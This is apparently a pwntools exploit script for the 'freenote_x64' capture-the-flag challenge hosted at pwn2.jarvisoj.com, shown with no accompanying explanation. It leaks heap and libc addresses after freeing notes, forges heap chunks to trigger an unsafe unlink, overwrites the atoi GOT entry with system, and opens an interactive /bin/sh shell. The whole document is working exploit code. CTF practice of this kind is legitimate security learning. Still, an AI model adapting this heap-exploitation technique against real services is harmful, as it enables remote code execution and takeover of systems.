1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
from pwn import *
r = remote("pwn2.jarvisoj.com",9886)
# r = process("./freenote_x64",env={'LD_PRELOAD':'./libc-2.19.so'})
got_atoi = 0x602070
libc_mainarena = 0x3BE760
libc_system = 0x46590
def show():
r.sendlineafter("choice: ","1")
def new(text):
r.sendlineafter("choice: ","2")
r.sendlineafter("new note: ",str(len(text)))
r.sendafter("your note: ",text)
def edit(index,text):
r.sendlineafter("choice: ","3")
r.sendlineafter("Note number: ",str(index))
r.sendlineafter("Length of note: ",str(len(text)))
r.sendafter("your note: ",text)
def free(index):
r.sendlineafter("choice: ","4")
r.sendlineafter("Note number: ",str(index))
def exp():
#leak
print "start"
new("1")
new("2")
new("3")
new("4")
free(0)
free(2)
new("aaaaaaaa")
new("aaaaaaaa")
show()
r.recv(11)
s = r.recv(4)
heap_base = u64(s+'\x00'*4)
print "heap_base : 0x%x"%heap_base
r.recv(17)
s = r.recv(6)
main_arena = u64(s+'\x00'*2)
print "mainarena : 0x%x"%main_arena
chunklist0 = heap_base - 0x1910
#del
free(0)
free(1)
free(2)
free(3)
#unlink
new("1")
new("2")
new("3")
free(0)
free(1)
free(2)
payload = ""
payload += "a"*8 + p64(0x81)
payload += p64(chunklist0-0x18) + p64(chunklist0-0x10)
payload += p64(0x0) * 2 * 6
payload += p64(0x80) + p64(0x90)
payload += p64(0x0) * 2 * 8
payload += "a"*8 + p64(0x91)
new(payload)
free(1) #unlink ptr[0] -> &ptr[0] - 0x18
#attack
libc_base = main_arena - 88 - libc_mainarena
print "libc_base : 0x%x"%libc_base
system = libc_base + libc_system
print "sytem_add : 0x%x"%system
#getshell
payload1 = p64(0x1) + p64(0x1)
payload1 += p64(0x120) + p64(chunklist0-0x18)
payload1 += p64(0x1) + p64(8) + p64(got_atoi)
payload1 += p64(0)*2 * 14 + p64(0)
print hex(len(payload1))
edit(0,payload1)
edit(1,p64(system))
r.sendline("/bin/sh")
r.interactive()
if __name__=="__main__":
exp()
|